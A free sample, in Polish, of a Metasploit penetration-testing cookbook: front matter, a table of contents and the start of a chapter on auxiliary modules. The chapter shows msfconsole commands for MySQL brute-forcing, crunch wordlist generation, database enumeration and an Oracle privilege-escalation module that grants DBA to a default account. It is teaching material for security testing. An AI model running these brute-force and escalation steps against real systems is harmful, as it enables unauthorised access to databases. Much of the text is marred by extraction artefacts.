Darmowy fragment publikacji:
Tytuł oryginału: Metasploit Penetration Testing Cookbook, Second Edition
Tłumaczenie: Lech Lachowski
ISBN: 978-83-246-9131-9
Copyright © Packt Publishing 2013.
First published in the English language under the title
„Metasploit Penetration Testing Cookbook, Second Edition”.
Polish edition copyright © 2014 by Helion S.A.
All rights reserved.
All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means,
electronic or mechanical, including photocopying, recording or by any information storage retrieval system,
without permission from the Publisher.
Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej
publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną,
fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje
naruszenie praw autorskich niniejszej publikacji.
Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich
właścicieli.
Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były
kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane
z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie
ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji
zawartych w książce.
Wydawnictwo HELION
ul. Kościuszki 1c, 44-100 GLIWICE
tel. 32 231 22 19, 32 230 98 63
e-mail: helion@helion.pl
WWW: http://helion.pl (księgarnia internetowa, katalog książek)
Drogi Czytelniku!
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres
http://helion.pl/user/opinie/metarp
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.
Printed in Poland.
• Kup książkę
• Poleć książkę
• Oceń książkę
• Księgarnia internetowa
• Lubię to! » Nasza społeczność
Spis tre(cid:258)ci
O autorze
O recenzentach
Przedmowa
Jaka jest zawarto(cid:258)(cid:202) tej ksi(cid:200)(cid:285)ki
Czego potrzebujesz do pracy z t(cid:200) ksi(cid:200)(cid:285)k(cid:200)
Dla kogo przeznaczona jest ta ksi(cid:200)(cid:285)ka
Konwencje stosowane w tej ksi(cid:200)(cid:285)ce
Pobieranie przyk(cid:239)adów kodu
Errata
Naruszenie praw autorskich
7
9
11
12
13
13
14
14
14
15
Rozdzia(cid:239) 1. Metasploit — szybkie porady dla profesjonalistów z bran(cid:285)y zabezpiecze(cid:241) 17
17
21
23
26
29
31
33
36
37
Wprowadzenie
Konfiguracja Metasploit w systemie Windows
Konfiguracja Metasploit w systemie Ubuntu
Instalowanie Metasploit z systemem BackTrack 5 R3
Przygotowywanie testów penetracyjnych przy wykorzystaniu aplikacji VMware
Konfiguracja Metasploit na maszynie wirtualnej z po(cid:239)(cid:200)czeniem SSH
Instalacja i konfiguracja bazy danych PostgreSQL w systemie BackTrack 5 R3
Wykorzystanie bazy danych do przechowywania rezultatów testów penetracyjnych
Korzystanie z frameworku BBQSQL
Rozdzia(cid:239) 2. Zbieranie informacji oraz skanowanie
Wprowadzenie
Pasywne zbieranie informacji
Skanowanie portów za pomoc(cid:200) narz(cid:218)dzia Nmap
Skanowanie portów za pomoc(cid:200) narz(cid:218)dzia DNmap
Skanowanie po(cid:258)wiadcze(cid:241) SMB za pomoc(cid:200) narz(cid:218)dzia keimpx
Skanowanie wersji SSH
41
41
44
47
52
56
59
Kup książkęPoleć książkę
Spis tre(cid:286)ci
Skanowanie FTP
Zamiatanie SNMP
Skanowanie luk w zabezpieczeniach za pomoc(cid:200) narz(cid:218)dzia Nessus
Skanowanie za pomoc(cid:200) narz(cid:218)dzia NeXpose
Skanowanie luk w zabezpieczeniach za pomoc(cid:200) narz(cid:218)dzia OpenVAS
Rozdzia(cid:239) 3. Ocena podatno(cid:258)ci na ataki na podstawie systemu operacyjnego
Wprowadzenie
Testy penetracyjne maszyny docelowej z systemem Windows XP SP2
Uzyskiwanie zdalnego dost(cid:218)pu poprzez wi(cid:200)zanie pow(cid:239)oki na maszynie docelowej
Testy penetracyjne systemu Windows 8
Eksploatacja maszyny docelowej z systemem Linux (Ubuntu)
Wstrzykiwanie bibliotek DLL w systemie Windows
Rozdzia(cid:239) 4. Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
Wprowadzenie
Luka execCommand Use-After-Free w zabezpieczeniach przegl(cid:200)darki Internet Explorer
Luka Adobe Flash Player „new function”
zwi(cid:200)zana z wyj(cid:200)tkiem niew(cid:239)a(cid:258)ciwego u(cid:285)ycia wska(cid:283)nika
Przepe(cid:239)nienie stosu bufora formatu RTF aplikacji Microsoft Word
Uszkodzenie pami(cid:218)ci przy obs(cid:239)udze formatu U3D w aplikacji Adobe Reader
Generowanie pliku binarnego oraz kodu pow(cid:239)oki za pomoc(cid:200) narz(cid:218)dzia msfpayload
Schematy kodowania za pomoc(cid:200) narz(cid:218)dzia msfencoding oraz wspó(cid:239)czynnik wykrycia
Zastosowanie skryptu killav.rb do wy(cid:239)(cid:200)czania ochrony antywirusowej
Wy(cid:239)(cid:200)czanie us(cid:239)ug programów antywirusowych z poziomu wiersza polece(cid:241)
Korzystanie z narz(cid:218)dzia strzykawki
Rozdzia(cid:239) 5. Praca z modu(cid:239)ami podczas testów penetracyjnych
Wprowadzenie
Praca z modu(cid:239)ami pomocniczymi skanera
Praca z administracyjnymi modu(cid:239)ami pomocniczymi
Modu(cid:239)y wstrzykni(cid:218)cia zapytania SQL oraz ataku DoS
Modu(cid:239)y fazy poeksploatacyjnej
Podstawy budowy modu(cid:239)u
Analiza gotowego modu(cid:239)u
Budowanie w(cid:239)asnego modu(cid:239)u fazy poeksploatacyjnej
Rozdzia(cid:239) 6. Exploity
Wprowadzenie
Struktura modu(cid:239)u
Korzystanie z narz(cid:218)dzia msfvenom
Konwertowanie exploita na modu(cid:239) frameworku Metasploit
Importowanie i testowanie nowego modu(cid:239)u exploita
Fuzzowanie aplikacji za pomoc(cid:200) Metasploit
Budowanie prostego fuzzera serwera FTP FileZilla
4
62
63
65
68
70
75
75
78
83
85
88
92
97
98
99
102
104
106
108
111
113
116
118
121
121
122
125
127
130
131
133
136
141
141
143
146
147
152
153
156
Kup książkęPoleć książkę
Spis tre(cid:286)ci
Rozdzia(cid:239) 7. Testy penetracyjne w sieci VoIP
Wprowadzenie
Faza skanowania i enumeracji
Pozyskiwanie hase(cid:239)
Przeskakiwanie VLAN-ów
Podszywanie si(cid:218) pod adresy MAC w sieci VoIP
Atak wykorzystuj(cid:200)cy podszywanie si(cid:218) pod inn(cid:200) osob(cid:218)
Atak DoS
Rozdzia(cid:239) 8. Testy penetracyjne sieci bezprzewodowej
Wprowadzenie
Konfigurowanie i uruchamianie narz(cid:218)dzia Fern WiFi Cracker
Monitorowanie interfejsów sieciowych za pomoc(cid:200) narz(cid:218)dzia tcpdump
(cid:146)amanie zabezpiecze(cid:241) szyfrowania WEP oraz WPA za pomoc(cid:200) aplikacji Fern Wi-Fi Cracker
Przechwytywanie sesji przy u(cid:285)yciu adresu MAC
Okre(cid:258)lanie geolokalizacji celu
Technika wardrivingu
Atak typu z(cid:239)y bli(cid:283)niak
Konfiguracja Karmetasploit
Rozdzia(cid:239) 9. Pakiet narz(cid:218)dzi socjotechnicznych — Social Engineer-Toolkit
Wprowadzenie
Wprowadzenie do pakietu SET
Praca z plikiem konfiguracyjnym pakietu SET
Praca z wektorami ataku spear-phishing
Wektory ataku WWW
Praca z wektorem ataku wieloaspektowego
Generator zainfekowanych no(cid:258)ników danych
Rozdzia(cid:239) 10. Korzystanie z Meterpretera
Wprowadzenie
Polecenia systemowe Meterpretera
Polecenia systemu plików Meterpretera
Polecenia sieciowe Meterpretera
Poszerzanie uprawnie(cid:241) i migracja procesu
Konfiguracja wielu kana(cid:239)ów komunikacji z celem
Zacieranie (cid:258)ladów za pomoc(cid:200) polecenia timestomp
Polecenie getdesktop oraz przechwytywanie uderze(cid:241) klawiatury
Korzystanie ze skryptu scraper Meterpretera
Technika pass the hash
Ustanawianie trwa(cid:239)ego po(cid:239)(cid:200)czenia za pomoc(cid:200) backdoorów
Pivoting z wykorzystaniem Meterpretera
Przekierowanie portów za pomoc(cid:200) Meterpretera
Interfejs API i domieszki Meterpretera
Dodatek Railgun, czyli Ruby jako bro(cid:241)
161
161
164
168
169
171
173
175
179
179
180
182
187
191
194
194
198
201
205
205
206
208
212
215
218
219
223
224
225
227
229
232
234
237
239
243
245
247
250
252
255
259
5
Kup książkęPoleć książkę
Spis tre(cid:286)ci
Dodawanie bibliotek DLL oraz definicji funkcji do narz(cid:218)dzia Railgun
Budowanie skryptu Meterpretera „Dezaktywator firewalla systemu Windows”
Analizowanie wbudowanego skryptu Meterpretera
Zdalne wstrzykiwanie serwera VNC
Eksploatowanie podatnej na ataki aplikacji PHP
Atak Incognito z wykorzystaniem Meterpretera
Dodatek A. Testy penetracyjne w chmurze
Wprowadzenie
Testy penetracyjne w chmurze
Pentesting w chmurze z wykorzystaniem serwisu hackaserver.com
Skorowidz
261
263
266
271
274
276
281
281
285
286
291
6
Kup książkęPoleć książkę5
Praca z modu(cid:239)ami
podczas testów
penetracyjnych
W tym rozdziale:
(cid:81) Praca z modu(cid:239)ami pomocniczymi skanera
(cid:81) Praca z administracyjnymi modu(cid:239)ami pomocniczymi
(cid:81) Modu(cid:239)y wstrzykni(cid:218)cia zapytania SQL oraz ataku DoS
(cid:81) Modu(cid:239)y fazy poeksploatacyjnej
(cid:81) Podstawy budowy modu(cid:239)u
(cid:81) Analiza gotowego modu(cid:239)u
(cid:81) Budowanie w(cid:239)asnego modu(cid:239)u fazy poeksploatacyjnej
Wprowadzenie
W pierwszym rozdziale omówili(cid:258)my podstawy frameworku Metasploit i stwierdzili(cid:258)my, (cid:285)e ma ar-
chitektur(cid:218) modu(cid:239)ow(cid:200). Oznacza to, (cid:285)e wszystkie exploity, (cid:239)adunki, kodery oraz inne jego kom-
ponenty maj(cid:200) posta(cid:202) modu(cid:239)ów. Modu(cid:239)owa architektura u(cid:239)atwia rozszerzanie funkcjonalno(cid:258)ci
frameworku. Ka(cid:285)dy programista mo(cid:285)e opracowa(cid:202) swój w(cid:239)asny modu(cid:239) i zaimportowa(cid:202) go do
frameworku. Pe(cid:239)ny proces testów penetracyjnych mo(cid:285)e wymaga(cid:202) uruchomienia kilku modu-
(cid:239)ów. Kiedy rozpoczynamy np. faz(cid:218) eksploatacji, u(cid:285)ywamy modu(cid:239)u (cid:239)adunku, a gdy ju(cid:285) z(cid:239)amiemy
zabezpieczenia maszyny docelowej, mo(cid:285)emy skorzysta(cid:202) z kilku modu(cid:239)ów poeksploatacyjnych.
Kup książkęPoleć książkęMetasploit. Receptury pentestera
Ró(cid:285)ne modu(cid:239)y znajd(cid:200) tak(cid:285)e zastosowanie przy (cid:239)(cid:200)czeniu si(cid:218) z baz(cid:200) danych oraz zapisywaniu w niej
wyników przeprowadzanych testów. Mimo (cid:285)e modu(cid:239)y nie s(cid:200) omawiane zbyt szeroko podczas
pracy z frameworkiem Metasploit, to stanowi(cid:200) jego istot(cid:218), wi(cid:218)c powiniene(cid:258) dobrze pozna(cid:202)
sposób ich funkcjonowania.
W tym rozdziale skoncentrujemy si(cid:218) na folderze opt/metasploit/msf3/modules, zawieraj(cid:200)cym
pe(cid:239)n(cid:200) list(cid:218) u(cid:285)ytecznych modu(cid:239)ów, które mog(cid:200) u(cid:239)atwi(cid:202) zadanie przeprowadzania testów pene-
tracyjnych. Stosowanie modu(cid:239)ów jest bardzo podobne do tego, co omawiali(cid:258)my do tej pory,
ale istnieje pewna ró(cid:285)nica w ich funkcjonalno(cid:258)ci. W dalszej cz(cid:218)(cid:258)ci rozdzia(cid:239)u przeanalizujemy
te(cid:285) niektóre z istniej(cid:200)cych modu(cid:239)ów, a na koniec zajmiemy si(cid:218) tworzeniem w(cid:239)asnych modu-
(cid:239)ów dla frameworku Metasploit. Rozpocznijmy eksperymenty z modu(cid:239)ami.
Praca z modu(cid:239)ami pomocniczymi skanera
Zacznijmy eksperymentowanie od zapoznania si(cid:218) z modu(cid:239)ami skanera. Poznali(cid:258)my szczegó-
(cid:239)owo proces skanowania, stosuj(cid:200)c narz(cid:218)dzie nmap. W tej recepturze przeanalizujemy niektóre
z gotowych modu(cid:239)ów skanuj(cid:200)cych, które s(cid:200) dostarczane wraz z frameworkiem Metasploit.
Cho(cid:202) nmap jest wszechstronnym narz(cid:218)dziem skanuj(cid:200)cym, mo(cid:285)e si(cid:218) zdarzy(cid:202), (cid:285)e b(cid:218)dziemy mu-
sieli wykona(cid:202) skanowanie konkretnego typu, takie jak skanowanie pod k(cid:200)tem obecno(cid:258)ci bazy
danych MySQL.
Metasploit dostarcza pe(cid:239)n(cid:200) list(cid:218) takich u(cid:285)ytecznych skanerów. Spróbujmy zastosowa(cid:202) je
w praktyce.
Przygotuj si(cid:218)
List(cid:218) dost(cid:218)pnych skanerów znajdziesz w folderze /opt/metasploit/msf3/modules/auxiliary/scanner.
Ta lista obejmuje ponad 35 ró(cid:285)nych modu(cid:239)ów skanowania, które mog(cid:200) by(cid:202) stosowane w ró(cid:285)-
nych scenariuszach testów penetracyjnych.
Jak to wykona(cid:202)
Nauczmy si(cid:218) krok po kroku, jak pracowa(cid:202) z pomocniczymi modu(cid:239)ami skanerów. Zaczniemy
od podstawowego skanera HTTP. Przekonasz si(cid:218), (cid:285)e jest dost(cid:218)pnych wiele ró(cid:285)nych opcji ska-
nowania HTTP. Poni(cid:285)ej omówimy kilka z nich:
(cid:81) Przyjrzyjmy si(cid:218) skryptowi dir_scanner. Przeprowadza on skanowanie pojedynczego
hosta lub ca(cid:239)ego zakresu sieci w poszukiwaniu interesuj(cid:200)cych list folderów,
które mog(cid:200) zosta(cid:202) poddane dalszemu badaniu, by zebra(cid:202) informacje o celu.
122
Kup książkęPoleć książkęRozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych
(cid:81) Aby rozpocz(cid:200)(cid:202) korzystanie z modu(cid:239)u pomocniczego, musimy wpisa(cid:202) w konsoli
msfconsole nast(cid:218)puj(cid:200)ce polecenia:
msf use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) show options
Polecenie show options wy(cid:258)wietli list(cid:218) wszystkich dost(cid:218)pnych opcjonalnych parametrów, któ-
re mo(cid:285)na zastosowa(cid:202) dla modu(cid:239)u skanera. Najwa(cid:285)niejszym z nich jest parametr RHOSTS, który
pozwala wskaza(cid:202) pojedyncz(cid:200) maszyn(cid:218) lub grup(cid:218) komputerów w danej sieci.
Jak to dzia(cid:239)a
Omówmy konkretny modu(cid:239) skanera wraz z dodatkowymi danymi wej(cid:258)ciowymi. Modu(cid:239) skane-
ra mysql_login jest modu(cid:239)em ataków si(cid:239)owych (ang. brute force), który skanuje dost(cid:218)pno(cid:258)(cid:202)
serwera MySQL na maszynie docelowej i próbuje zalogowa(cid:202) si(cid:218) do bazy danych poprzez atak
metod(cid:200) brute force w sposób nast(cid:218)puj(cid:200)cy:
msf use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) show options
Module options (auxiliary/scanner/mysql/mysql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true yes Try blank pas...
BRUTEFORCE_SPEED 5 yes How fast to...
PASSWORD no A specific password...
PASS_FILE no File containing...
RHOSTS yes The target address...
RPORT 3306 yes The target port...
STOP_ON_SUCCESS false yes Stop guessing...
THREADS 1 yes The number of...
USERNAME no A specific user...
USERPASS_FILE no File containing...
USER_FILE no File containing...
VERBOSE true yes Whether to print...
Jak widzisz, istnieje wiele ró(cid:285)nych parametrów, które mo(cid:285)emy ustawi(cid:202) dla tego modu(cid:239)u. Im
lepiej wykorzystamy mo(cid:285)liwo(cid:258)ci modu(cid:239)u, tym wi(cid:218)ksze s(cid:200) szanse na przeprowadzenie udanych
testów penetracyjnych. Mo(cid:285)emy dostarczy(cid:202) pe(cid:239)n(cid:200) list(cid:218) nazw u(cid:285)ytkowników oraz hase(cid:239), które
modu(cid:239) mo(cid:285)e wykorzysta(cid:202) do próby zalogowania si(cid:218) na maszynie docelowej.
Dostarczmy te informacje do modu(cid:239)u:
msf auxiliary(mysql_login) set USER_FILE /nazwy_uzytkownikow.txt
USER_FILE = /nazwy_uzytkownikow.txt
msf auxiliary(mysql_login) set PASS_FILE /hasla.txt
PASS_FILE = /hasla.txt
123
Kup książkęPoleć książkęMetasploit. Receptury pentestera
Jeste(cid:258)my gotowi, aby zastosowa(cid:202) metod(cid:218) ataku si(cid:239)owego. Ostatnim krokiem jest wybranie
celu i wykonanie polecenia run, aby uruchomi(cid:202) modu(cid:239):
msf auxiliary(mysql_login) set RHOSTS 192.168.56.101
RHOSTS = 192.168.56.101
msf auxiliary(mysql_login) run
[*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a
[*] 192.168.56.101:3306 Trying username: administrator with password:
Jak wida(cid:202) w powy(cid:285)szym listingu, modu(cid:239) rozpocz(cid:200)(cid:239) swoje dzia(cid:239)anie od próby znalezienia serwera
MySQL na maszynie docelowej. Po stwierdzeniu obecno(cid:258)ci tego serwera modu(cid:239) przeprowa-
dza sprawdzanie kombinacji nazw u(cid:285)ytkownika oraz hase(cid:239) dostarczonych w pliku zewn(cid:218)trznym.
Przeprowadzana w tym scenariuszu operacja jest równie(cid:285) jedn(cid:200) z najcz(cid:218)(cid:258)ciej wykonywanych
w Metasploit czynno(cid:258)ci z wykorzystaniem modu(cid:239)ów. Dost(cid:218)pnych jest wiele zautomatyzowa-
nych modu(cid:239)ów ataków si(cid:239)owych, które s(cid:239)u(cid:285)(cid:200) do (cid:239)amania s(cid:239)abych hase(cid:239).
Zobacz równie(cid:285)
Omówmy szybki i prosty sposób generowania plików hase(cid:239) za pomoc(cid:200) frameworku Metasploit.
Poka(cid:283)na lista hase(cid:239) mo(cid:285)e by(cid:202) pomocna podczas testów penetracyjnych metod(cid:200) brute force.
Generowanie hase(cid:239) za pomoc(cid:200) narz(cid:218)dzia Crunch
Przy ka(cid:285)dym ataku si(cid:239)owym konieczne jest posiadanie obszernej listy hase(cid:239), które wykorzystamy
do prób logowania. Listy hase(cid:239) mo(cid:285)na pobra(cid:202) z zasobów internetowych. Pentester mo(cid:285)e te(cid:285)
wygenerowa(cid:202) list(cid:218) hase(cid:239) za pomoc(cid:200) narz(cid:218)dzia John the Ripper lub skorzysta(cid:202) z wbudowanego
w system BackTrack narz(cid:218)dzia crunch, aby utworzy(cid:202) tak(cid:200) list(cid:218) na podstawie wskazanego ze-
stawu znaków. Narz(cid:218)dzie crunch znajduje si(cid:218) w folderze /pentest/passwords/crunch. Je(cid:258)li go
nie ma w Twojej wersji systemu BackTrack, mo(cid:285)esz je zainstalowa(cid:202), wprowadzaj(cid:200)c w oknie
terminala nast(cid:218)puj(cid:200)ce polecenie:
root@bt: cd /pentest/passwords
root@bt:/pentest/passwords# apt-get install crunch
Przyk(cid:239)adowa sk(cid:239)adnia narz(cid:218)dzia crunch jest nast(cid:218)puj(cid:200)ca:
./crunch d(cid:239)_min d(cid:239)_maks [-f /(cid:258)cie(cid:285)ka/do_pliku/charset.lst
(cid:180)nazwa_zestawu_znaków][-o lista_hase(cid:239).txt][-t [niezmienny_ci(cid:200)g_znaków]@@@@]
(cid:180)[-s pocz(cid:200)tkowy_ci(cid:200)g_znaków][-c liczba_linii_pliku_tekstowego]
Poni(cid:285)ej opisano znaczenie niektórych u(cid:285)ytecznych parametrów narz(cid:218)dzia crunch:
(cid:81) Parametr d(cid:239)_min okre(cid:258)la pocz(cid:200)tkow(cid:200) minimaln(cid:200) d(cid:239)ugo(cid:258)(cid:202) ci(cid:200)gu znaków.
(cid:81) Parametr d(cid:239)_maks okre(cid:258)la ko(cid:241)cow(cid:200) maksymaln(cid:200) d(cid:239)ugo(cid:258)(cid:202) ci(cid:200)gu znaków.
(cid:81) Parametr nazwa_zestawu_znaków okre(cid:258)la predefiniowany zestaw znaków,
który ma by(cid:202) wykorzystany do wygenerowania listy hase(cid:239).
124
Kup książkęPoleć książkęRozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych
(cid:81) Parametr -b: liczba[kb/mb/gb] okre(cid:258)la rozmiar pliku wyj(cid:258)ciowego w wybranej
jednostce (MB, KB lub GB).
(cid:81) Parametr -f /(cid:258)cie(cid:285)ka/do_pliku/charset.lst nazwa_zestawu_znaków pozwala
okre(cid:258)li(cid:202) predefiniowany zestaw znaków z pliku charset.lst (np. hex-lower).
(cid:81) Parametr -o lista_hase(cid:239).txt okre(cid:258)la plik, w którym zostan(cid:200) zapisane dane
wyj(cid:258)ciowe.
(cid:81) Parametr -t [niezmienny_ci(cid:200)g_znaków] @, ^ s(cid:239)u(cid:285)y do dodawania w
wygenerowanym ha(cid:258)le niezmieniaj(cid:200)cego si(cid:218) ci(cid:200)gu znaków oraz dodatkowych,
wyst(cid:218)puj(cid:200)cych w dowolnej liczbie, losowych, pojedynczych znaków o ustalonym
formacie, którego poszczególne opcje oznaczaj(cid:200): @ — ma(cid:239)e litery, , — wielkie
litery, — liczby, ^ — symbole. Przyk(cid:239)adowo, wygenerowane has(cid:239)o z opcj(cid:200)
-t @@@helion@@@ mo(cid:285)e wygl(cid:200)da(cid:202) nast(cid:218)puj(cid:200)co bgrhelionoip.
Pe(cid:239)n(cid:200) dokumentacj(cid:218) narz(cid:218)dzia crunch mo(cid:285)na znale(cid:283)(cid:202) na stronie http://sourceforge.net/projects/
crunch-wordlist/files/crunchwordlist/.
Mo(cid:285)esz przej(cid:258)(cid:202) do pe(cid:239)nej dokumentacji, aby dowiedzie(cid:202) si(cid:218), w jaki sposób korzysta(cid:202) z tego
narz(cid:218)dzia do generowania listy d(cid:239)ugich i skomplikowanych hase(cid:239).
Inne zasoby
Mo(cid:285)emy równie(cid:285) zastosowa(cid:202) listy hase(cid:239) pozyskane w wyniku przeprowadzonych przez osoby
trzecie ataków na ró(cid:285)ne serwisy internetowe. Cenny zasób takich hase(cid:239) znajdziesz na stronie
http://www.skullsecurity.org/wiki/index.php/Passwords.
Listy hase(cid:239) w systemie BackTrack zlokalizowane s(cid:200) w folderze /pentest/passwords/wordlists.
W systemie Kali Linux ten zasób znajduje si(cid:218) w katalogu /usr/share/wordlists.
Praca z administracyjnymi modu(cid:239)ami
pomocniczymi
Kontynuuj(cid:200)c eksperymenty z modu(cid:239)ami, przejd(cid:283)my do modu(cid:239)ów administracyjnych, które
mog(cid:200) by(cid:202) bardzo przydatne podczas testów penetracyjnych. Modu(cid:239)y administracyjne, w zale(cid:285)no-
(cid:258)ci od ich funkcjonalno(cid:258)ci, mog(cid:200) s(cid:239)u(cid:285)y(cid:202) do ró(cid:285)nych celów, takich jak poszukiwanie panelu
administracyjnego, loginu administratora itd. W tej recepturze przyjrzymy si(cid:218) prostemu ad-
ministracyjnemu modu(cid:239)owi pomocniczemu o nazwie mysql_enum.
125
Kup książkęPoleć książkęMetasploit. Receptury pentestera
Przygotuj si(cid:218)
Modu(cid:239) mysql_enum jest specjalnym modu(cid:239)em narz(cid:218)dziowym dla serwerów baz danych MySQL.
Zapewnia prost(cid:200) enumeracj(cid:218) serwera baz danych MySQL, przy za(cid:239)o(cid:285)eniu (cid:285)e odpowiednie po-
(cid:258)wiadczenia u(cid:285)ytkownika s(cid:200) przyznane dla po(cid:239)(cid:200)czenia zdalnego. Zobaczmy, jak to dzia(cid:239)a
w praktyce.
Jak to wykona(cid:202)
Poni(cid:285)sze kroki okre(cid:258)laj(cid:200) sposób pracy z administracyjnym modu(cid:239)em pomocniczym:
(cid:81) Zaczniemy od uruchomienia interfejsu konsoli msfconsole i wprowadzenia (cid:258)cie(cid:285)ki
dost(cid:218)pu do modu(cid:239)u pomocniczego:
msf use auxiliary/admin/mysql/mysql_enum
msf auxiliary(mysql_enum) show options
Module options (auxiliary/admin/mysql/mysql_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the...
RHOST yes The target address
RPORT 3306 yes The target port
USERNAME no The username to...
(cid:81) Jak wida(cid:202), modu(cid:239) pozwala na zdefiniowanie takich parametrów jak PASSWORD
(has(cid:239)o), USERNAME (nazwa u(cid:285)ytkownika) oraz RHOST (adres zdalnego hosta). Mo(cid:285)e
to by(cid:202) pomocne przy pierwszym wyszukiwaniu potencjalnej bazy danych MySQL
oraz podczas próby zdalnego logowania za pomoc(cid:200) podanych po(cid:258)wiadcze(cid:241).
Przeanalizujmy dane wyj(cid:258)ciowe wy(cid:258)wietlone po wykonaniu komendy exploit:
msf auxiliary(mysql_enum) exploit
[*] Configuration Parameters:
[*] C2 Audit Mode is Not Enabled
[*] xp_cmdshell is Enabled
[*] remote access is Enabled
[*] allow updates is Not Enabled
[*] Database Mail XPs is Not Enabled
[*] Ole Automation Procedures are Not Enabled
[*] Databases on the server:
[*] Database name:master
Modu(cid:239) odpowiada du(cid:285)(cid:200) ilo(cid:258)ci(cid:200) przydatnych informacji. Informuje nas o tym, (cid:285)e pow(cid:239)oka cmdshell
oraz zdalny dost(cid:218)p zosta(cid:239)y w(cid:239)(cid:200)czone w konfiguracji MySQL na maszynie docelowej. Zwraca
równie(cid:285) informacj(cid:218) o nazwie bazy danych, która jest aktualnie uruchomiona na maszynie do-
celowej.
126
Kup książkęPoleć książkęRozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych
Istnieje kilka podobnych modu(cid:239)ów przeznaczonych dla innych us(cid:239)ug, takich jak MSSQL i Apache.
Dla wi(cid:218)kszo(cid:258)ci modu(cid:239)ów sposób dzia(cid:239)ania jest zbli(cid:285)ony. Pami(cid:218)taj, aby u(cid:285)y(cid:202) polecenia show options
w celu sprawdzenia, które parametry s(cid:200) wymagane.
Jak to dzia(cid:239)a
Administracyjne modu(cid:239)y pomocnicze wykorzystuj(cid:200) prosty proces enumeracji, uruchamiaj(cid:200)c
po(cid:239)(cid:200)czenie, a nast(cid:218)pnie wypróbowuj(cid:200)c ró(cid:285)ne kombinacje nazw u(cid:285)ytkownika i hase(cid:239). Za po-
moc(cid:200) tych modu(cid:239)ów mo(cid:285)na równie(cid:285) sprawdzi(cid:202), czy serwer bazy danych umo(cid:285)liwia anonimo-
we logowanie. Ponadto mo(cid:285)na wykona(cid:202) prób(cid:218) logowania dla domy(cid:258)lnych po(cid:258)wiadcze(cid:241). Dla
serwera MySQL domy(cid:258)lne po(cid:258)wiadczenia to nazwa u(cid:285)ytkownika scott oraz has(cid:239)o tiger.
Modu(cid:239)y wstrzykni(cid:218)cia zapytania SQL
oraz ataku DoS
Framework Metasploit jest przyjazny zarówno dla pentesterów, jak i hakerów. Jest tak dlatego, (cid:285)e
pentester musi my(cid:258)le(cid:202) z perspektywy hakera, aby zabezpieczy(cid:202) swoj(cid:200) sie(cid:202), us(cid:239)ugi, aplikacje itd.
Modu(cid:239)y wstrzykni(cid:218)cia zapytania SQL (ang. SQL injection — SQLi) oraz ataków typu DoS (ang.
Denial of Service) pomagaj(cid:200) pentesterom w atakowaniu w(cid:239)asnych us(cid:239)ug w celu sprawdzenia,
czy s(cid:200) one podatne na takie ataki. Warto wi(cid:218)c szczegó(cid:239)owo omówi(cid:202) niektóre z tych modu(cid:239)ów.
Przygotuj si(cid:218)
Modu(cid:239) wstrzykni(cid:218)cia SQL wykorzystuje znan(cid:200) luk(cid:218) w zabezpieczeniach okre(cid:258)lonego typu ba-
zy danych, umo(cid:285)liwiaj(cid:200)c jej eksploatacj(cid:218) i zapewniaj(cid:200)c nieautoryzowany dost(cid:218)p. Wiadomo, (cid:285)e ta
luka dotyczy baz danych Oracle 9i oraz 10g. Metasploit zawiera kilka modu(cid:239)ów, które wyko-
rzystuj(cid:200) znany exploit baz danych Oracle w celu z(cid:239)amania ich zabezpiecze(cid:241) poprzez wstrzyk-
ni(cid:218)cie zapytania. Modu(cid:239)y mo(cid:285)na znale(cid:283)(cid:202) w folderze modules/auxiliary/sqli/oracle.
Jak to wykona(cid:202)
Przeanalizujmy luk(cid:218) w zabezpieczeniach, która nosi nazw(cid:218) Oracle DBMS_METADATA XML:
(cid:81) Ta luka zwi(cid:218)ksza uprawnienia u(cid:285)ytkownika DB_USER do poziomu administratora
bazy danych DB_ADMINISTRATOR. Wykorzystamy modu(cid:239) dbms_metadata_get_xml:
msf auxiliary(dbms_metadata_get_xml) show options
Module options (auxiliary/sqli/oracle/dbms_metadata_get_xml):
Name Current Setting Required Description
---- --------------- -------- -----------
127
Kup książkęPoleć książkęMetasploit. Receptury pentestera
DBPASS TIGER yes The password to...
DBUSER SCOTT yes The username to...
RHOST yes The Oracle host.
RPORT 1521 yes The TNS port.
SID ORCL yes The sid to authenticate.
SQL GRANT DBA to SCOTT no SQL to execute.
(cid:81) Modu(cid:239) wymaga okre(cid:258)lenia podobnych parametrów, jakie stosowali(cid:258)my do tej pory.
Najpierw wykonywana jest próba zalogowania si(cid:218) za pomoc(cid:200) domy(cid:258)lnych
po(cid:258)wiadcze(cid:241), czyli odpowiednio nazwy u(cid:285)ytkownika scott oraz has(cid:239)a tiger.
Gdy modu(cid:239) uzyskuje status zalogowania jako u(cid:285)ytkownik bazy danych, wykonuje
exploit w celu zwi(cid:218)kszenia uprawnie(cid:241) do poziomu administratora bazy danych.
Uruchommy modu(cid:239) w celu przetestowania maszyny docelowej:
msf auxiliary(dbms_metadata_get_xml) set RHOST 192.168.56.1
msf auxiliary(dbms_metadata_get_xml) set SQL YES
msf auxiliary(dbms_metadata_get_xml) run
(cid:81) Po pomy(cid:258)lnym wykonaniu modu(cid:239)u uprawnienia u(cid:285)ytkownika zostan(cid:200) zwi(cid:218)kszone
z DB_USER do DB_ADMINISTRATOR.
Kolejnym modu(cid:239)em, który omówimy, jest modu(cid:239) zwi(cid:200)zany z atakami typu DoS
